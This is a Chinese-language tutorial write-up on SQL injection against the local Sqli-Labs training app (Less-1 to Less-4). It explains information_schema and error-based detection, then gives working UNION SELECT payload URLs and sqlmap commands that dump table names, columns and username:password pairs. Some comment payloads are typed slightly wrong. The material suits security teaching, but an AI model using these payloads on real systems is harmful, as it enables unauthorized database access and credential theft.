CTFweb篇-SQL注入(一)
基本函数和知识
基本数据库information_schema
information_schema是一个数据库,放的是一些视图,在SQL文件中找不到。
其中具有表schemata(数据库名)、tables(表名)、columns(列名获字段名)
schemata表中有schema_name来存储数据库名
在tables表中,table_schema和table_name来存储数据库名和表名
在columns表中,有table_schema、table_name、column_name
基本函数
user()
查看当前Mysql登录用户名
database()
查看当前使用Mysql数据库名
version()
查看当前Mysql版本
group_concat()
group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
将同一分组分组的要连接的字段放在同一行
默认以逗号隔开
不加group by就是将所有的看作一组
limit关键字
limit m,n:只显示m到m+n行数据
常用注释
注释符
#:单行注释
–空格:单行注释(空格一般会被浏览器吃掉,最好用%20)
/* */:多行注释
内联注释(只有Mysql可识别)
/*! */
SQL注入类型
数字型
select * from table where id = 用户输入id
字符型
select * from table where id = ‘用户输入id’
检测SQL注入点
通过在URL中修改对应的ID值为正常数字、大数字、字符(单引号、双引号、双单引号、双双引号)、\来探测URL是否存在注入点
Sqli-Lab less1~4,GET基于报错的SQL注入
Less1
输入id=1
显示出了用户名和密码
接着不断更改id,发现在15时没了,说明该数据库只有15个用户
接下来进行注入点判断,在id值后面加’
报错:’‘1’’ LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>‘1’’ LIMIT 0,1
证明这里会对输入的id自动在两边加入单引号:
select userName,passWord from table where ID = 'ID值' limit 0,1
绕过方法:
传入?id=1’–20%---------->将后面自动加的’给注释掉
Less2
传入id=1’
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
‘’ LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>1’ LIMIT 0,1
证明这里输入的ID就是数值:
select userName,passWord from table where ID = ID值 limit 0,1
绕过方法:
传入?id=1–20%’
Less3
传入id=1’
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
‘‘1’’) LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>'1") LIMIT 0,1
证明这里输入的id值会在两边加(‘ID值’):
select userName,passWord from table where ID = ('ID值') limit 0,1
绕过方法:
传入?id=1’)–%20
Less4
传入参数id=1’
正常显示
传入id=1"
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
‘“1"”) LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>“1"”) LIMIT 0,1
证明会在传入的id值两边加了(“id值”)
select userName,passWord from table where ID = ("ID值") limit 0,1
为什么会在传入1’,1)等这些参数值时仍然不报错?
因为在SQL语法中双引号内的这些符号都被看做普通字符串,并且可以将其中的数字提出来,只有加双引号或者转义字符才可以进行对应的转换。
绕过方法:
?id=1")–%20
常用的方法
利用order by判断字段数
字段数就是属性列数
因为有几个属性才可以用几个属性去排序
Less1的利用
利用less1 的union联合user()、version()、database()函数进行插入:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 UNION SELECT 1,user(),version()--%20
查看到了用户名和版本
查看table:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--%20
information_schema.tables:information_schema数据库中的tables表
table_schema(数据库名):tables表中的列名。
查看列名:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--%20
查出来了所有的列名
查看所有用户名和密码:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT -1,group_concat(username,':',password),3 from users--%20
利用sqlmap进行探寻
1、查数据库
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1
” --batch --dbs
–batch:进行默认设置
–dbs:返回所有数据库
2、查所有表
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1
” -D security --tables --batch
-D:数据库
–tables:返回指定数据库的所有表
3、查指定表中的所有列
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1
” -D security -T users --columns --batch
-T:指定表
–columns:返回所有指定表所有列
4、显示表中内容
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1
” -D security -T users -C username,password --dump --batch
–dump:就是显示表中数据
总之sqlmap功能很强大